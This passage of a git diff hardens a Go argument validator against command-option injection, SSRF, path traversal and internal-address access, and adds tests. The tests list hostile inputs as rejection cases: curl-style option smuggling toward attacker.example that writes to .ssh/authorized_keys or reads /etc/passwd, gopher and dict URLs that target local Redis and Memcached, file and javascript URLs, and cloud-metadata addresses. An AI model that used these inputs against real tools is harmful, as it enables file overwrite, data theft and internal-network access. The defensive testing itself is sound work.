Name-side policy, in order: the internal-name denylist (always), an + // IP literal embedded in the leading labels (range policy on that + // address), the non-canonical literal rule, the structural hostname + // check, and finally resolution under block_internal. + if err := enforceInternalName(def.Name, value); err != nil { + return "", err + } + if addr, ok := embeddedIPLiteral(value); ok { + if err := enforceIPPolicy(def.Name, addr, def.BlockInternal); err != nil { + return "", err + } + } + + // A non-canonical IP-literal encoding must not slip through as a + // "hostname": a downstream resolver would expand it to an address. No + // legitimate hostname is all-numeric labels or a 0x-prefixed hex literal. + if looksLikeIPLiteral(value) { + return "", newErr(def.Name, fmt.Sprintf("scope_target looks like a non-canonical IP literal; use dotted-quad IPv4 or standard IPv6: %q", value)) + } + + if !isValidHostname(value) { return "", newErr(def.Name, fmt.Sprintf("invalid scope target: %q (must be a valid IP, CIDR, or hostname)", value)) } + if def.BlockInternal { + if err := enforceResolvedPolicy(def.Name, value); err != nil { + return "", err + } + } return value, nil } +// validateURL is the structural url validator. The string-derived hygiene +// rules (NUL, control characters, quotes and backslash, whitespace — never +// permitted for url — and the leading dash) have already run in +// ValidateArgMode; the shell-metacharacter blocklist here rejects `{` and +// `}` so a url value can never carry a {_secret:…} reference. The rest is a +// deliberate hand parse rather than net/url, which accepts any scheme, +// spaces in the path and other forms a fetcher would happily act on. func validateURL(def *manifest.ArgDef, value string) (string, error) { if err := CheckInjection(value); err != nil { return "", newErr(def.Name, err.Error()) } - parsed, err := url.Parse(value) - if err != nil || parsed.Scheme == "" || parsed.Host == "" { - return "", newErr(def.Name, fmt.Sprintf("invalid URL: %q", value)) + + // scheme://rest — a value without "://" is not a URL. + scheme, rest, found := strings.Cut(value, "://") + if !found { + return "", newErr(def.Name, fmt.Sprintf("invalid URL: %q (expected scheme://host)", value)) + } + scheme = strings.ToLower(scheme) + + // Scheme allowlist: def.Schemes when non-empty, else http and https. + allowed := def.Schemes + if len(allowed) == 0 { + allowed = defaultURLSchemes + } + schemeAllowed := false + for _, s := range allowed { + if strings.ToLower(s) == scheme { + schemeAllowed = true + break + } + } + if !schemeAllowed { + return "", newErr(def.Name, fmt.Sprintf("URL scheme %q not in allowed schemes: %v", scheme, allowed)) + } + + // Explicit denial, even when a manifest lists the scheme in `schemes`. + if deniedURLSchemes[scheme] { + return "", newErr(def.Name, fmt.Sprintf("URL scheme %q is never permitted", scheme)) + } + + // Userinfo: an "@" before the first "/" of the authority hides the real + // host from a human reviewer and is a classic SSRF decoy. + authority := rest + if i := strings.IndexByte(rest, '/'); i >= 0 { + authority = rest[:i] } - if len(def.Schemes) > 0 { - found := false - for _, s := range def.Schemes { - if s == parsed.Scheme { - found = true - break + if strings.Contains(authority, "@") { + return "", newErr(def.Name, "URL must not contain userinfo (user:password@host)") + } + + // Host: everything between "://" and the first "/", "?" or "#". + hostport := rest + if i := strings.IndexAny(rest, "/?#"); i >= 0 { + hostport = rest[:i] + } + host, port, err := splitURLHostPort(hostport) + if err != nil { + return "", newErr(def.Name, err.Error()) + } + if port != "" { + n, convErr := strconv.Atoi(port) + if convErr != nil || !allASCIIDigits(port) { + return "", newErr(def.Name, fmt.Sprintf("invalid URL port: %q", port)) + } + if n < 1 || n > 65535 { + return "", newErr(def.Name, fmt.Sprintf("URL port %d out of range 1-65535", n)) + } + } + + // Host policy: punycode, then a literal goes through the range table + // directly; a name goes through the internal-name denylist, the + // embedded-literal rule, the non-canonical literal rule, the structural + // check and, under block_internal, resolution of every answer. + if hasPunycodeLabel(host) { + return "", newErr(def.Name, "URL host must not contain punycode (xn--) labels") + } + if addr, ok := parseCanonicalIP(host); ok { + if err := enforceIPPolicy(def.Name, addr, def.BlockInternal); err != nil { + return "", err + } + } else { + if err := enforceInternalName(def.Name, host); err != nil { + return "", err + } + if addr, ok := embeddedIPLiteral(host); ok { + if err := enforceIPPolicy(def.Name, addr, def.BlockInternal); err != nil { + return "", err } } - if !found { - return "", newErr(def.Name, fmt.Sprintf("URL scheme %q not in allowed schemes: %v", parsed.Scheme, def.Schemes)) + if looksLikeIPLiteral(host) { + return "", newErr(def.Name, fmt.Sprintf("URL host looks like a non-canonical IP literal; use dotted-quad IPv4 or a hostname: %q", host)) + } + if !isValidHostname(host) { + return "", newErr(def.Name, fmt.Sprintf("URL host is not a valid hostname or IP literal: %q", host)) + } + if def.BlockInternal { + if err := enforceResolvedPolicy(def.Name, host); err != nil { + return "", err + } } } + + // scope_check, when set, is applied to the host by ValidateArgIn. return value, nil } +// splitURLHostPort separates the authority (already stripped of any path, +// query or fragment) into host and optional port. A bracketed IPv6 literal +// is unwrapped and must be a canonical IPv6 address; an unbracketed value +// splits at its last ":" so an unbracketed IPv6 form can never pass as a +// host. An empty host is an error, as is a ":" with nothing after it; the +// port, when present, is returned unparsed for the caller to range-check. +func splitURLHostPort(hostport string) (host, port string, err error) { + if hostport == "" { + return "", "", fmt.Errorf("URL host must not be empty") + } + if strings.HasPrefix(hostport, "[") { + end := strings.IndexByte(hostport, ']') + if end < 0 { + return "", "", fmt.Errorf("URL host has an unterminated IPv6 bracket: %q", hostport) + } + host = hostport[1:end] + addr, ok := parseCanonicalIP(host) + if !ok || !addr.Is6() { + return "", "", fmt.Errorf("URL host is not a valid IPv6 literal: %q", host) + } + tail := hostport[end+1:] + if tail == "" { + return host, "", nil + } + if !strings.HasPrefix(tail, ":") { + return "", "", fmt.Errorf("unexpected characters after IPv6 literal: %q", tail) + } + port = tail[1:] + } else if i := strings.LastIndexByte(hostport, ':'); i >= 0 { + host, port = hostport[:i], hostport[i+1:] + } else { + return hostport, "", nil + } + if host == "" { + return "", "", fmt.Errorf("URL host must not be empty") + } + if port == "" { + return "", "", fmt.Errorf("URL port must not be empty after ':' in %q", hostport) + } + return host, port, nil +} + func validatePath(def *manifest.ArgDef, value string) (string, error) { if err := CheckInjection(value); err != nil { return "", newErr(def.Name, err.Error()) @@ -342,23 +745,31 @@ func validatePath(def *manifest.ArgDef, value string) (string, error) { if strings.HasPrefix(value, "/") || (len(value) >= 2 && value[1] == ':') { return "", newErr(def.Name, "path must be relative, not absolute") } - for _, part := range strings.Split(value, "/") { - if part == ".." { - return "", newErr(def.Name, fmt.Sprintf("path traversal detected in: %q", value)) - } + if hasDotDotComponent(value) { + return "", newErr(def.Name, fmt.Sprintf("path traversal detected in: %q", value)) } - for _, part := range strings.Split(value, "\\") { + return value, nil +} + +// hasDotDotComponent reports whether any path component, splitting on both +// '/' and '\', is exactly "..". +func hasDotDotComponent(value string) bool { + for _, part := range strings.FieldsFunc(value, func(r rune) bool { return r == '/' || r == '\\' }) { if part == ".." { - return "", newErr(def.Name, fmt.Sprintf("path traversal detected in: %q", value)) + return true } } - return value, nil + return false } func validateIPAddress(def *manifest.ArgDef, value string) (string, error) { - if net.ParseIP(value) == nil { + addr, ok := parseCanonicalIP(value) + if !ok { return "", newErr(def.Name, fmt.Sprintf("invalid IP address: %q", value)) } + if err := enforceIPPolicy(def.Name, addr, def.BlockInternal); err != nil { + return "", err + } return value, nil } @@ -366,9 +777,13 @@ func validateCIDR(def *manifest.ArgDef, value string) (string, error) { if !strings.Contains(value, "/") { return "", newErr(def.Name, fmt.Sprintf("CIDR notation requires '/': %q", value)) } - if _, _, err := net.ParseCIDR(value); err != nil { + prefix, ok := parseCanonicalCIDR(value) + if !ok { return "", newErr(def.Name, fmt.Sprintf("invalid CIDR: %q", value)) } + if err := enforceCIDRPolicy(def.Name, prefix, def.BlockInternal); err != nil { + return "", err + } return value, nil } @@ -403,10 +818,8 @@ func validateCredentialFile(def *manifest.ArgDef, value string) (string, error) if strings.HasPrefix(value, "/") || (len(value) >= 2 && value[1] == ':') { return "", newErr(def.Name, "credential file must be a relative path") } - for _, part := range strings.Split(value, "/") { - if part == ".." { - return "", newErr(def.Name, fmt.Sprintf("path traversal detected: %q", value)) - } + if hasDotDotComponent(value) { + return "", newErr(def.Name, fmt.Sprintf("path traversal detected: %q", value)) } info, err := os.Stat(value) if err != nil { @@ -419,13 +832,12 @@ func validateCredentialFile(def *manifest.ArgDef, value string) (string, error) } func validateDuration(def *manifest.ArgDef, value string) (string, error) { - // Plain integer seconds - if _, err := strconv.Atoi(value); err == nil { + // Plain integer seconds, or h/m/s/ms components in that order. Go's + // `$` matches only at the end of the text, so a trailing newline fails. + if secondsRe.MatchString(value) { return value, nil } - // Duration with suffix - durationRe := regexp.MustCompile(`^(?:\d+h)?(?:\d+m)?(?:\d+s)?(?:\d+ms)?$`) - if !durationRe.MatchString(value) || value == "" { + if value == "" || !durationRe.MatchString(value) { return "", newErr(def.Name, fmt.Sprintf("invalid duration: %q (e.g. '30', '5m', '2h', '1h30m', '500ms')", value)) } return value, nil @@ -438,9 +850,9 @@ func validateRegexMatch(def *manifest.ArgDef, value string) (string, error) { if def.Pattern == "" { return "", newErr(def.Name, "regex_match type requires a 'pattern' field") } - re, err := regexp.Compile(def.Pattern) + re, err := compilePattern(def) if err != nil { - return "", newErr(def.Name, fmt.Sprintf("invalid pattern %q: %v", def.Pattern, err)) + return "", err } if !re.MatchString(value) { return "", newErr(def.Name, fmt.Sprintf("value %q does not match required pattern: %s", value, def.Pattern)) @@ -448,35 +860,91 @@ func validateRegexMatch(def *manifest.ArgDef, value string) (string, error) { return value, nil } -// ValidateArgWithCustomTypes validates using custom type definitions. +// ValidateArgWithCustomTypes validates using custom type definitions in +// template mode. func ValidateArgWithCustomTypes(def *manifest.ArgDef, value string, customTypes map[string]*manifest.CustomTypeDef) (string, error) { - if ct, ok := customTypes[def.Type]; ok { - handler, ok := typeHandlers[ct.Base] - if !ok { - return "", newErr(def.Name, fmt.Sprintf("custom type '%s' has invalid base type '%s'", def.Type, ct.Base)) - } - // Create synthetic def with merged constraints - synthetic := *def - synthetic.Type = ct.Base - if len(ct.Allowed) > 0 { - synthetic.Allowed = ct.Allowed - } - if ct.Pattern != "" { - synthetic.Pattern = ct.Pattern + return ValidateArgWithCustomTypesMode(def, value, customTypes, false) +} + +// ValidateArgWithCustomTypesMode validates using custom type definitions. +// A custom type is resolved to a synthetic definition with its base type and +// merged constraints, then validated exactly like a built-in type, so value +// hygiene and pattern anchoring apply to custom types too. +func ValidateArgWithCustomTypesMode(def *manifest.ArgDef, value string, customTypes map[string]*manifest.CustomTypeDef, execMode bool) (string, error) { + return ValidateArgWithCustomTypesIn(def, value, customTypes, execMode, nil) +} + +// ValidateArgWithCustomTypesIn is ValidateArgWithCustomTypesMode with the +// project scope for scope_check (see ValidateArgIn). +func ValidateArgWithCustomTypesIn(def *manifest.ArgDef, value string, customTypes map[string]*manifest.CustomTypeDef, execMode bool, sc *scope.ScopeDef) (string, error) { + ct, ok := customTypes[def.Type] + if !ok { + return ValidateArgIn(def, value, execMode, sc) + } + if _, ok := typeHandlers[ct.Base]; !ok { + return "", newErr(def.Name, fmt.Sprintf("custom type '%s' has invalid base type '%s'", def.Type, ct.Base)) + } + // Create synthetic def with merged constraints + synthetic := *def + synthetic.Type = ct.Base + if len(ct.Allowed) > 0 { + synthetic.Allowed = ct.Allowed + } + if ct.Pattern != "" { + synthetic.Pattern = ct.Pattern + } + if ct.Min != nil { + synthetic.Min = ct.Min + } + if ct.Max != nil { + synthetic.Max = ct.Max + } + if ct.MinFloat != nil { + synthetic.MinFloat = ct.MinFloat + } + if ct.MaxFloat != nil { + synthetic.MaxFloat = ct.MaxFloat + } + return ValidateArgIn(&synthetic, value, execMode, sc) +} + +// ValidateManifestWithCustomTypes checks a loaded manifest against the +// custom type table the CLI will read from toolclad.toml: every argument +// type must be a built-in or a custom type with a built-in base, and the +// egress lint is run with the custom types visible, so a custom type whose +// base is a network target is refused in an egress manifest (a custom type +// cannot carry block_internal). LoadManifest already runs the lint for the +// built-in types; this is the entry point to call once custom types are +// available. +func ValidateManifestWithCustomTypes(m *manifest.Manifest, customTypes map[string]*manifest.CustomTypeDef) error { + names := make([]string, 0, len(m.Args)) + for name := range m.Args { + names = append(names, name) + } + sort.Strings(names) + for _, name := range names { + def := m.Args[name] + if _, ok := typeHandlers[def.Type]; ok { + continue } - if ct.Min != nil { - synthetic.Min = ct.Min + ct, ok := customTypes[def.Type] + if !ok { + return fmt.Errorf("argument '%s' has unknown type '%s'", name, def.Type) } - if ct.Max != nil { - synthetic.Max = ct.Max + if _, ok := typeHandlers[ct.Base]; !ok { + return fmt.Errorf("argument '%s': custom type '%s' has invalid base type '%s'", name, def.Type, ct.Base) } - if ct.MinFloat != nil { - synthetic.MinFloat = ct.MinFloat + if def.ScopeCheck && !manifest.ScopeCheckSupported(ct.Base) { + return fmt.Errorf("argument '%s': scope_check is not supported for type '%s'", name, ct.Base) } - if ct.MaxFloat != nil { - synthetic.MaxFloat = ct.MaxFloat + if def.Default != nil { + val := fmt.Sprintf("%v", def.Default) + if !(val == "" && ct.Base == "string") { + if _, err := ValidateArgWithCustomTypesIn(def, val, customTypes, false, m.Scope); err != nil { + return fmt.Errorf("argument '%s': invalid default %q: %w", name, val, err) + } + } } - return handler(&synthetic, value) } - return ValidateArg(def, value) + return m.LintEgress(customTypes) } diff --git a/go/pkg/validator/validator_test.go b/go/pkg/validator/validator_test.go index 7430a6e..91c4f3a 100644 --- a/go/pkg/validator/validator_test.go +++ b/go/pkg/validator/validator_test.go @@ -1,13 +1,36 @@ package validator import ( + "errors" + "net/netip" "strings" "testing" "github.com/thirdkeyai/toolclad/pkg/manifest" ) -func intPtr(v int) *int { return &v } +// stubResolver replaces the DNS seam for the duration of the test with a +// fixed answer table (host -> addresses). Names absent from the table fail +// to resolve. Tests never depend on live DNS: every positive hostname case +// under block_internal goes through this stub. +func stubResolver(t *testing.T, table map[string][]string) { + t.Helper() + prev := lookupHost + lookupHost = func(host string) ([]netip.Addr, error) { + ips, ok := table[strings.ToLower(host)] + if !ok { + return nil, errors.New("stub resolver: no such host") + } + addrs := make([]netip.Addr, 0, len(ips)) + for _, ip := range ips { + addrs = append(addrs, netip.MustParseAddr(ip).Unmap()) + } + return addrs, nil + } + t.Cleanup(func() { lookupHost = prev }) +} + +func intPtr(v int) *int { return &v } func floatPtr(v float64) *float64 { return &v } func TestValidateArg(t *testing.T) { @@ -559,7 +582,10 @@ func TestNumberType(t *testing.T) { wantErr bool }{ {"valid float", &manifest.ArgDef{Name: "n", Type: "number"}, "0.5", false}, - {"negative", &manifest.ArgDef{Name: "n", Type: "number"}, "-3.14", false}, + // A negative output starts with '-' and is rejected by the + // leading-dash rule unless the arg opts in. + {"negative rejected by leading-dash rule", &manifest.ArgDef{Name: "n", Type: "number"}, "-3.14", true}, + {"negative with allow_leading_dash", &manifest.ArgDef{Name: "n", Type: "number", AllowLeadingDash: true}, "-3.14", false}, {"NaN rejected", &manifest.ArgDef{Name: "n", Type: "number"}, "NaN", true}, {"Inf rejected", &manifest.ArgDef{Name: "n", Type: "number"}, "Inf", true}, {"non-numeric", &manifest.ArgDef{Name: "n", Type: "number"}, "abc", true}, @@ -667,3 +693,1024 @@ func TestCheckInjection(t *testing.T) { }) } } + +// TC-1: argument values that smuggle extra options through quoting or +// whitespace must be rejected outright by the string-derived hygiene rules. +func TestTC1PayloadsRejected(t *testing.T) { + cases := []struct{ typ, value string }{ + {"string", "' -d @/etc/passwd"}, + {"string", "X: y' -d @/etc/passwd -H 'Z: w"}, + {"url", "https://attacker.example/ -o /root/.ssh/authorized_keys"}, + {"url", "https://attacker.example/ -o /tmp/pwned"}, + } + for _, c := range cases { + t.Run(c.typ+"/"+c.value, func(t *testing.T) { + def := &manifest.ArgDef{Name: "v", Type: c.typ} + if got, err := ValidateArg(def, c.value); err == nil { + t.Fatalf("template mode: expected rejection, got %q", got) + } + // Opting in to whitespace in exec mode must not rescue these: + // quotes stay banned and url never allows whitespace. + def.AllowWhitespace = true + if got, err := ValidateArgMode(def, c.value, true); err == nil { + t.Fatalf("exec mode with allow_whitespace: expected rejection, got %q", got) + } + }) + } +} + +// TC-2: option-looking values must never reach the tool as options. +func TestTC2PayloadsRejected(t *testing.T) { + values := []string{ + "-iL /etc/passwd", + "--script=/tmp/evil.nse", + "--script http-fetch --script-args http-fetch.destination=/tmp/d", + } + for _, v := range values { + t.Run(v, func(t *testing.T) { + def := &manifest.ArgDef{Name: "v", Type: "string"} + if got, err := ValidateArg(def, v); err == nil { + t.Fatalf("expected rejection, got %q", got) + } + def.AllowWhitespace = true + if got, err := ValidateArgMode(def, v, true); err == nil { + t.Fatalf("exec mode with allow_whitespace: expected rejection (leading dash), got %q", got) + } + }) + } +} + +// TC-3: the leading-dash rule across types, and the allow_leading_dash opt-in. +func TestTC3LeadingDashRejected(t *testing.T) { + const msg = "must not start with '-' or '+' (set allow_leading_dash = true to permit)" + cases := []struct{ typ, value string }{ + {"path", "-rf"}, + {"string", "--output=/etc/cron.d/x"}, + {"integer", "-1"}, + {"string", "+short"}, + {"number", "-0.5"}, + {"duration", "-5"}, + {"msf_options", "-RHOSTS 10.0.0.1"}, + } + for _, c := range cases { + t.Run(c.typ+"/"+c.value, func(t *testing.T) { + _, err := ValidateArg(&manifest.ArgDef{Name: "v", Type: c.typ}, c.value) + if err == nil { + t.Fatalf("expected rejection") + } + if !strings.Contains(err.Error(), msg) { + t.Fatalf("error %q does not contain %q", err.Error(), msg) + } + }) + } + + got, err := ValidateArg(&manifest.ArgDef{Name: "v", Type: "string", AllowLeadingDash: true}, "-v") + if err != nil || got != "-v" { + t.Errorf("allow_leading_dash should permit -v, got %q, %v", got, err) + } + got, err = ValidateArg(&manifest.ArgDef{Name: "v", Type: "integer", AllowLeadingDash: true}, "-1") + if err != nil || got != "-1" { + t.Errorf("allow_leading_dash should permit -1, got %q, %v", got, err) + } + // The numeric rule applies to the output value: clamping to a + // non-negative minimum rescues a negative input. + got, err = ValidateArg(&manifest.ArgDef{Name: "v", Type: "integer", Min: intPtr(1), Clamp: true}, "-5") + if err != nil || got != "1" { + t.Errorf("clamped negative should yield 1, got %q, %v", got, err) + } +} + +func TestValueHygiene(t *testing.T) { + str := func(allowWS bool) *manifest.ArgDef { + return &manifest.ArgDef{Name: "v", Type: "string", AllowWhitespace: allowWS} + } + tests := []struct { + name string + def *manifest.ArgDef + value string + execMode bool + wantErr string + want string + }{ + {name: "NUL in enum", def: &manifest.ArgDef{Name: "v", Type: "enum", Allowed: []string{"syn\x00"}}, value: "syn\x00", wantErr: "must not contain NUL bytes"}, + {name: "NUL in integer", def: &manifest.ArgDef{Name: "v", Type: "integer"}, value: "1\x00", wantErr: "must not contain NUL bytes"}, + {name: "NUL in boolean", def: &manifest.ArgDef{Name: "v", Type: "boolean"}, value: "true\x00", wantErr: "must not contain NUL bytes"}, + {name: "control char", def: str(false), value: "a\x01b", wantErr: "must not contain control characters"}, + {name: "DEL", def: str(false), value: "a\x7fb", wantErr: "must not contain control characters"}, + {name: "tab without opt-in", def: str(false), value: "a\tb", wantErr: "must not contain control characters"}, + {name: "double quote", def: str(false), value: `a"b`, wantErr: "must not contain quote or backslash characters"}, + {name: "single quote", def: str(false), value: "a'b", wantErr: "must not contain quote or backslash characters"}, + {name: "backslash", def: str(false), value: `a\b`, wantErr: "must not contain quote or backslash characters"}, + {name: "scope_target backslash keeps specific message", def: &manifest.ArgDef{Name: "v", Type: "scope_target"}, value: `a\b`, wantErr: "backslash escape sequences"}, + {name: "space", def: str(false), value: "a b", wantErr: "must not contain whitespace"}, + {name: "nbsp", def: str(false), value: "a b", wantErr: "must not contain whitespace"}, + {name: "allow_whitespace ignored in template mode", def: str(true), value: "a b", execMode: false, wantErr: "must not contain whitespace"}, + {name: "allow_whitespace honored in exec mode", def: str(true), value: "a b", execMode: true, want: "a b"}, + // allow_whitespace permits only the ASCII space; control characters + // are rejected unconditionally and exotic spaces stay rejected. + {name: "allow_whitespace tab still rejected", def: str(true), value: "a\tb", execMode: true, wantErr: "must not contain control characters"}, + {name: "allow_whitespace newline still rejected", def: str(true), value: "a\nb", execMode: true, wantErr: "must not contain control characters"}, + {name: "allow_whitespace CR still rejected", def: str(true), value: "a\rb", execMode: true, wantErr: "must not contain control characters"}, + {name: "allow_whitespace vertical tab still rejected", def: str(true), value: "a\vb", execMode: true, wantErr: "must not contain control characters"}, + {name: "allow_whitespace form feed still rejected", def: str(true), value: "a\fb", execMode: true, wantErr: "must not contain control characters"}, + {name: "allow_whitespace nbsp still rejected", def: str(true), value: "a\u00a0b", execMode: true, wantErr: "must not contain whitespace"}, + {name: "allow_whitespace line separator still rejected", def: str(true), value: "a\u2028b", execMode: true, wantErr: "must not contain whitespace"}, + {name: "allow_whitespace ideographic space still rejected", def: str(true), value: "a\u3000b", execMode: true, wantErr: "must not contain whitespace"}, + {name: "C1 control rejected", def: str(true), value: "a\u0085b", execMode: true, wantErr: "must not contain control characters"}, + {name: "msf_options tab rejected", def: &manifest.ArgDef{Name: "v", Type: "msf_options"}, value: "RHOSTS\t10.0.0.1", wantErr: "must not contain control characters"}, + {name: "msf_options nbsp rejected", def: &manifest.ArgDef{Name: "v", Type: "msf_options"}, value: "RHOSTS\u00a010.0.0.1", wantErr: "must not contain whitespace"}, + {name: "url never allows whitespace", def: &manifest.ArgDef{Name: "v", Type: "url", AllowWhitespace: true}, value: "https://example.com/a b", execMode: true, wantErr: "must not contain whitespace"}, + {name: "msf_options exempt from whitespace rule", def: &manifest.ArgDef{Name: "v", Type: "msf_options"}, value: "RHOSTS 10.0.0.1", want: "RHOSTS 10.0.0.1"}, + {name: "msf_options still rejects quotes", def: &manifest.ArgDef{Name: "v", Type: "msf_options"}, value: "RHOSTS 'x'", wantErr: "must not contain quote or backslash characters"}, + {name: "path with space rejected", def: &manifest.ArgDef{Name: "v", Type: "path"}, value: "my file.txt", wantErr: "must not contain whitespace"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got, err := ValidateArgMode(tt.def, tt.value, tt.execMode) + if tt.wantErr != "" { + if err == nil { + t.Fatalf("expected error containing %q, got value %q", tt.wantErr, got) + } + if !strings.Contains(err.Error(), tt.wantErr) { + t.Fatalf("error %q does not contain %q", err.Error(), tt.wantErr) + } + return + } + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if got != tt.want { + t.Errorf("got %q, want %q", got, tt.want) + } + }) + } +} + +func TestPatternAnchoring(t *testing.T) { + str := &manifest.ArgDef{Name: "v", Type: "string", Pattern: "[a-z]+"} + if _, err := ValidateArg(str, "abc123"); err == nil { + t.Error("unanchored pattern [a-z]+ must reject abc123") + } + if got, err := ValidateArg(str, "abc"); err != nil || got != "abc" { + t.Errorf("pattern [a-z]+ should accept abc, got %q, %v", got, err) + } + rm := &manifest.ArgDef{Name: "v", Type: "regex_match", Pattern: "[a-z]+"} + if _, err := ValidateArg(rm, "abc123"); err == nil { + t.Error("regex_match with [a-z]+ must reject abc123") + } + custom := map[string]*manifest.CustomTypeDef{"lower": {Base: "string", Pattern: "[a-z]+"}} + if _, err := ValidateArgWithCustomTypes(&manifest.ArgDef{Name: "v", Type: "lower"}, "abc123", custom); err == nil { + t.Error("custom type pattern [a-z]+ must reject abc123") + } + // Custom types go through hygiene too. + if _, err := ValidateArgWithCustomTypes(&manifest.ArgDef{Name: "v", Type: "lower"}, "-abc", custom); err == nil { + t.Error("custom type must apply the leading-dash rule") + } +} + +func TestAnchorPattern(t *testing.T) { + cases := map[string]string{ + "[a-z]+": "^(?:[a-z]+)$", + "^[a-z]+$": "^(?:[a-z]+)$", + "^abc": "^(?:abc)$", + "abc$": "^(?:abc)$", + `a\$`: `^(?:a\$)$`, + `a\\$`: `^(?:a\\)$`, + } + for in, want := range cases { + if got := AnchorPattern(in); got != want { + t.Errorf("AnchorPattern(%q) = %q, want %q", in, got, want) + } + } +} + +// urlVector mirrors one `url-` entry of the shared injection-vector suite. +// The values are asserted inline here; the shared file is wired in later. +type urlVector struct { + id string + schemes []string + blockInternal bool + value string + accept bool +} + +var urlVectors = []urlVector{ + {id: "url-space-option-injection", value: "https://attacker.example/ -o /root/.ssh/authorized_keys"}, + {id: "url-space-write-tmp", value: "https://attacker.example/ -o /tmp/pwned"}, + {id: "url-secret-smuggling", value: "https://attacker.example/?k={_secret:api_key}"}, + {id: "url-javascript-scheme", value: "javascript:alert(1)"}, + {id: "url-file-scheme", value: "file:///etc/passwd"}, + {id: "url-data-scheme", value: "data:text/html,"}, + {id: "url-gopher-redis", value: "gopher://127.0.0.1:6379/_FLUSHALL"}, + {id: "url-dict-scheme", value: "dict://127.0.0.1:11211/stat"}, + {id: "url-userinfo", value: "http://user:pw@example.com/"}, + {id: "url-metacharacter", value: "https://attacker.example/;id"}, + {id: "url-scheme-not-in-list", schemes: []string{"https"}, value: "http://example.com/"}, + {id: "url-imds-always-blocked", value: "http://169.254.169.254/latest/meta-data/"}, + {id: "url-docker-socket-block-internal", blockInternal: true, value: "http://127.0.0.1:2375/containers/json"}, + {id: "url-ipv6-loopback-block-internal", blockInternal: true, value: "http://[::1]:8080/"}, + {id: "url-accept", value: "https://example.com/path", accept: true}, + {id: "url-accept-public-ip-block-internal", blockInternal: true, value: "https://93.184.216.34/x", accept: true}, +} + +func TestURLVectors(t *testing.T) { + for _, v := range urlVectors { + t.Run(v.id, func(t *testing.T) { + def := &manifest.ArgDef{Name: "u", Type: "url", Schemes: v.schemes, BlockInternal: v.blockInternal} + got, err := ValidateArg(def, v.value) + if v.accept { + if err != nil { + t.Fatalf("expected accept, got error: %v", err) + } + if got != v.value { + t.Fatalf("value must pass through unchanged: got %q", got) + } + return + } + if err == nil { + t.Fatalf("expected rejection, got %q", got) + } + }) + } +} + +func TestURLSchemes(t *testing.T) { + // The default allowlist is http and https; anything else is refused + // even though the shipped manifests never set `schemes`. + def := &manifest.ArgDef{Name: "u", Type: "url"} + for _, v := range []string{ + "gopher://127.0.0.1:6379/_FLUSHALL", + "file://localhost/etc/passwd", + "ftp://example.com/x", + "ldap://example.com/x", + "wss://example.com/x", + "example.com", + "example.com/path", + "://example.com/", + } { + if _, err := ValidateArg(def, v); err == nil { + t.Errorf("%q: expected rejection", v) + } + } + for _, v := range []string{"http://example.com/", "HTTPS://example.com/", "https://example.com"} { + if _, err := ValidateArg(def, v); err != nil { + t.Errorf("%q: unexpected error: %v", v, err) + } + } + + // schemes narrows the allowlist, case-insensitively. + httpsOnly := &manifest.ArgDef{Name: "u", Type: "url", Schemes: []string{"HTTPS"}} + if _, err := ValidateArg(httpsOnly, "http://example.com/"); err == nil || !strings.Contains(err.Error(), "not in allowed schemes") { + t.Errorf("schemes=[https] must reject http, got %v", err) + } + if _, err := ValidateArg(httpsOnly, "https://example.com/"); err != nil { + t.Errorf("schemes=[https] must accept https: %v", err) + } + + // A denied scheme stays denied even when a manifest lists it, with its + // own message. + listed := &manifest.ArgDef{Name: "u", Type: "url", Schemes: []string{"https", "file", "gopher"}} + for _, v := range []string{"file://localhost/etc/passwd", "gopher://127.0.0.1:6379/_FLUSHALL"} { + _, err := ValidateArg(listed, v) + if err == nil || !strings.Contains(err.Error(), "is never permitted") { + t.Errorf("%q: listed denied scheme must still be refused with the dedicated message, got %v", v, err) + } + } + if _, err := ValidateArg(listed, "https://example.com/"); err != nil { + t.Errorf("listed https must still pass: %v", err) + } +} + +func TestURLPorts(t *testing.T) { + def := &manifest.ArgDef{Name: "u", Type: "url"} + for _, v := range []string{"https://example.com:8443/x", "https://example.com:1/", "https://example.com:65535"} { + if _, err := ValidateArg(def, v); err != nil { + t.Errorf("%q: unexpected error: %v", v, err) + } + } + for _, v := range []string{ + "https://example.com:0/x", + "https://example.com:99999/x", + "https://example.com:65536/", + "https://example.com:/x", + "https://example.com:8a/x", + "https://example.com:+1/x", + } { + if _, err := ValidateArg(def, v); err == nil { + t.Errorf("%q: expected rejection", v) + } + } +} + +func TestURLBlockInternal(t *testing.T) { + stubResolver(t, map[string][]string{"example.com": {"93.184.216.34"}}) + open := &manifest.ArgDef{Name: "u", Type: "url"} + blocking := &manifest.ArgDef{Name: "u", Type: "url", BlockInternal: true} + + // Loopback is allowed only when block_internal is off. + if _, err := ValidateArg(open, "http://127.0.0.1/"); err != nil { + t.Errorf("loopback without block_internal must pass: %v", err) + } + for _, v := range []string{ + "http://127.0.0.1/", + "http://[::1]:8080/", + "http://10.0.0.5/x", + "http://192.168.1.1:8080/", + "http://172.16.0.1/", + "http://100.64.0.1/", + "http://0.0.0.0/", + "http://[::ffff:127.0.0.1]/", + "http://[fc00::1]/", + "http://[2001:db8::1]/", + } { + if _, err := ValidateArg(blocking, v); err == nil { + t.Errorf("%q: block_internal must reject", v) + } + } + if _, err := ValidateArg(blocking, "https://93.184.216.34/x"); err != nil { + t.Errorf("public literal under block_internal must pass: %v", err) + } + if _, err := ValidateArg(blocking, "https://example.com/"); err != nil { + t.Errorf("hostname resolving to a public address under block_internal must pass: %v", err) + } +} + +func TestURLIMDSAlwaysBlocked(t *testing.T) { + for _, blockInternal := range []bool{false, true} { + def := &manifest.ArgDef{Name: "u", Type: "url", BlockInternal: blockInternal} + for _, v := range []string{ + "http://169.254.169.254/latest/meta-data/", + "http://169.254.0.1/", + "http://[::ffff:169.254.169.254]/latest/meta-data/", + "http://[fe80::1]/", + } { + _, err := ValidateArg(def, v) + if err == nil { + t.Errorf("block_internal=%v %q: expected rejection", blockInternal, v) + continue + } + // The bracketed forms are caught by the metacharacter blocklist + // first; the dotted form must carry the always-blocked wording. + if !strings.Contains(v, "[") && !strings.Contains(err.Error(), "always blocked") { + t.Errorf("block_internal=%v %q: want always-blocked wording, got %v", blockInternal, v, err) + } + } + } + want := "validation error for 'u': target is a link-local / cloud-metadata address (169.254.0.0/16) — always blocked" + _, err := ValidateArg(&manifest.ArgDef{Name: "u", Type: "url"}, "http://169.254.169.254/") + if err == nil || err.Error() != want { + t.Errorf("want %q, got %v", want, err) + } +} + +func TestURLHostHardening(t *testing.T) { + def := 